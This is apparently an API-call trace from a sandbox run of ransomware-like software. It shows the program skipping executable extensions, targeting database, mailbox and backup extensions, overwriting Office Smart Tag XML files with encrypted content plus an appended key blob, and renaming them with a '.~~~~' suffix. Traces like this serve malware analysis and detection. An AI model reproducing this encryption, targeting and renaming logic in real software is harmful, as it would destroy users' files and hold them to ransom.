	[0082.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".scr") returned 0x0
	[0082.338] lstrlenW (lpString=".cmd") returned 4
	[0082.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".cmd") returned 0x0
	[0082.338] lstrlenW (lpString=".dll") returned 4
	[0082.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dll") returned 0x0
	[0082.338] lstrlenW (lpString=".bat") returned 4
	[0082.338] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".bat") returned 0x0
	[0082.338] lstrlenW (lpString=".cpl") returned 4
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".cpl") returned 0x0
	[0082.339] lstrlenW (lpString=".sys") returned 4
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".sys") returned 0x0
	[0082.339] lstrlenW (lpString=".msc") returned 4
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".msc") returned 0x0
	[0082.339] lstrlenW (lpString=".com") returned 4
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".com") returned 0x0
	[0082.339] lstrlenW (lpString=".lnk") returned 4
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".lnk") returned 0x0
	[0082.339] lstrlenW (lpString=".msp") returned 4
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".msp") returned 0x0
	[0082.339] lstrlenW (lpString=".pif") returned 4
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".pif") returned 0x0
	[0082.339] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.339] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0082.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0082.340] lstrlenW (lpString=".sqb") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".sqb") returned 0x0
	[0082.340] lstrlenW (lpString=".ost") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".ost") returned 0x0
	[0082.340] lstrlenW (lpString=".txt") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".txt") returned 0x0
	[0082.340] lstrlenW (lpString=".mdt") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".mdt") returned 0x0
	[0082.340] lstrlenW (lpString=".BDB") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".BDB") returned 0x0
	[0082.340] lstrlenW (lpString=".eql") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".eql") returned 0x0
	[0082.340] lstrlenW (lpString=".DBF") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DBF") returned 0x0
	[0082.340] lstrlenW (lpString=".EQL") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".EQL") returned 0x0
	[0082.340] lstrlenW (lpString=".FDB") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".FDB") returned 0x0
	[0082.340] lstrlenW (lpString=".EDB") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".EDB") returned 0x0
	[0082.340] lstrlenW (lpString=".DACPAC") returned 7
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DACPAC") returned 0x0
	[0082.340] lstrlenW (lpString=".VHD") returned 4
	[0082.340] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".VHD") returned 0x0
	[0082.340] lstrlenW (lpString=".DBV") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DBV") returned 0x0
	[0082.341] lstrlenW (lpString=".dacpac") returned 7
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dacpac") returned 0x0
	[0082.341] lstrlenW (lpString=".sdf") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".sdf") returned 0x0
	[0082.341] lstrlenW (lpString=".accdb") returned 6
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".accdb") returned 0x0
	[0082.341] lstrlenW (lpString=".DBX") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DBX") returned 0x0
	[0082.341] lstrlenW (lpString=".MDT") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".MDT") returned 0x0
	[0082.341] lstrlenW (lpString=".SQB") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".SQB") returned 0x0
	[0082.341] lstrlenW (lpString=".vhd") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".vhd") returned 0x0
	[0082.341] lstrlenW (lpString=".bac") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".bac") returned 0x0
	[0082.341] lstrlenW (lpString=".mdf") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".mdf") returned 0x0
	[0082.341] lstrlenW (lpString=".BAK") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".BAK") returned 0x0
	[0082.341] lstrlenW (lpString=".BAC") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".BAC") returned 0x0
	[0082.341] lstrlenW (lpString=".dbs") returned 4
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dbs") returned 0x0
	[0082.341] lstrlenW (lpString=".vhdx") returned 5
	[0082.341] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".vhdx") returned 0x0
	[0082.342] lstrlenW (lpString=".NDF") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".NDF") returned 0x0
	[0082.342] lstrlenW (lpString=".dat") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dat") returned 0x0
	[0082.342] lstrlenW (lpString=".DBS") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DBS") returned 0x0
	[0082.342] lstrlenW (lpString=".CKP") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".CKP") returned 0x0
	[0082.342] lstrlenW (lpString=".edb") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".edb") returned 0x0
	[0082.342] lstrlenW (lpString=".PST") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".PST") returned 0x0
	[0082.342] lstrlenW (lpString=".dbf") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dbf") returned 0x0
	[0082.342] lstrlenW (lpString=".SQL") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".SQL") returned 0x0
	[0082.342] lstrlenW (lpString=".pst") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".pst") returned 0x0
	[0082.342] lstrlenW (lpString=".dbv") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dbv") returned 0x0
	[0082.342] lstrlenW (lpString=".SDF") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".SDF") returned 0x0
	[0082.342] lstrlenW (lpString=".dtxs") returned 5
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dtxs") returned 0x0
	[0082.342] lstrlenW (lpString=".db3") returned 4
	[0082.342] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".db3") returned 0x0
	[0082.343] lstrlenW (lpString=".OST") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".OST") returned 0x0
	[0082.343] lstrlenW (lpString=".dbx") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dbx") returned 0x0
	[0082.343] lstrlenW (lpString=".DB3") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DB3") returned 0x0
	[0082.343] lstrlenW (lpString=".DAT") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DAT") returned 0x0
	[0082.343] lstrlenW (lpString=".VHDX") returned 5
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".VHDX") returned 0x0
	[0082.343] lstrlenW (lpString=".ndf") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".ndf") returned 0x0
	[0082.343] lstrlenW (lpString=".DB") returned 3
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DB") returned 0x0
	[0082.343] lstrlenW (lpString=".sql") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".sql") returned 0x0
	[0082.343] lstrlenW (lpString=".MYD") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".MYD") returned 0x0
	[0082.343] lstrlenW (lpString=".DBT") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DBT") returned 0x0
	[0082.343] lstrlenW (lpString=".ACCDB") returned 6
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".ACCDB") returned 0x0
	[0082.343] lstrlenW (lpString=".fdb") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".fdb") returned 0x0
	[0082.343] lstrlenW (lpString=".bak") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".bak") returned 0x0
	[0082.343] lstrlenW (lpString=".myd") returned 4
	[0082.343] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".myd") returned 0x0
	[0082.344] lstrlenW (lpString=".DTXS") returned 5
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".DTXS") returned 0x0
	[0082.344] lstrlenW (lpString=".ckp") returned 4
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".ckp") returned 0x0
	[0082.344] lstrlenW (lpString=".dbt") returned 4
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".dbt") returned 0x0
	[0082.344] lstrlenW (lpString=".db") returned 3
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".db") returned 0x0
	[0082.344] lstrlenW (lpString=".TXT") returned 4
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".TXT") returned 0x0
	[0082.344] lstrlenW (lpString=".MDF") returned 4
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".MDF") returned 0x0
	[0082.344] lstrlenW (lpString=".bdb") returned 4
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".bdb") returned 0x0
	[0082.344] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0082.344] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0082.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0082.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0082.344] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0082.345] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0082.345] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0082.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0082.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0082.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x38b738
	[0082.345] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20233702985) returned 1
	[0082.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9aedb630, dwHighDateTime=0x1d60e1e)) 
	[0082.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0082.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0082.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0082.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3840
	[0082.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0082.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3840 | out: hHeap=0x300000) returned 1
	[0082.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0082.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0082.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7d80
	[0082.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0082.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc118
	[0082.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7d80 | out: hHeap=0x300000) returned 1
	[0082.348] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0082.348] GetLastError () returned 0x0
	[0082.348] GetLastError () returned 0x0
	[0082.348] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0082.348] GetLastError () returned 0x0
	[0082.349] GetLastError () returned 0x0
	[0082.349] ReadFile (in: hFile=0x118, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0xa7f, lpOverlapped=0x0) returned 1
	[0082.351] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffff581, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0082.351] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xa7f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xa7f, lpOverlapped=0x0) returned 1
	[0082.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0082.351] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.351] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0082.351] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0082.351] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0082.351] CloseHandle (hObject=0x118) returned 1
	[0082.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a43e0
	[0082.352] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.~~~~")) returned 1
	[0082.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a43e0 | out: hHeap=0x300000) returned 1
	[0082.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0082.352] GetLastError () returned 0x0
	[0082.352] RtlWakeConditionVariable () returned 0x365f70
	[0082.352] GetCurrentThreadId () returned 0x9cc
	[0082.353] GetCurrentThreadId () returned 0x9cc
	[0082.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0082.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4830 | out: hHeap=0x300000) returned 1
	[0082.353] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35a0 | out: hHeap=0x300000) returned 1
	[0082.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4830
	[0082.353] lstrlenW (lpString=".scr") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".scr") returned 0x0
	[0082.353] lstrlenW (lpString=".cmd") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".cmd") returned 0x0
	[0082.353] lstrlenW (lpString=".dll") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".dll") returned 0x0
	[0082.353] lstrlenW (lpString=".bat") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".bat") returned 0x0
	[0082.353] lstrlenW (lpString=".cpl") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".cpl") returned 0x0
	[0082.353] lstrlenW (lpString=".sys") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".sys") returned 0x0
	[0082.353] lstrlenW (lpString=".msc") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".msc") returned 0x0
	[0082.353] lstrlenW (lpString=".com") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".com") returned 0x0
	[0082.353] lstrlenW (lpString=".lnk") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".lnk") returned 0x0
	[0082.353] lstrlenW (lpString=".msp") returned 4
	[0082.353] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".msp") returned 0x0
	[0082.353] lstrlenW (lpString=".pif") returned 4
	[0082.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".pif") returned 0x0
	[0082.354] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0082.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0082.354] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0082.354] lstrlenW (lpString=".sqb") returned 4
	[0082.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpSrch=".sqb") returned 0x0
	[0082.354] lstrlenW (lpString=".ost") returned 4
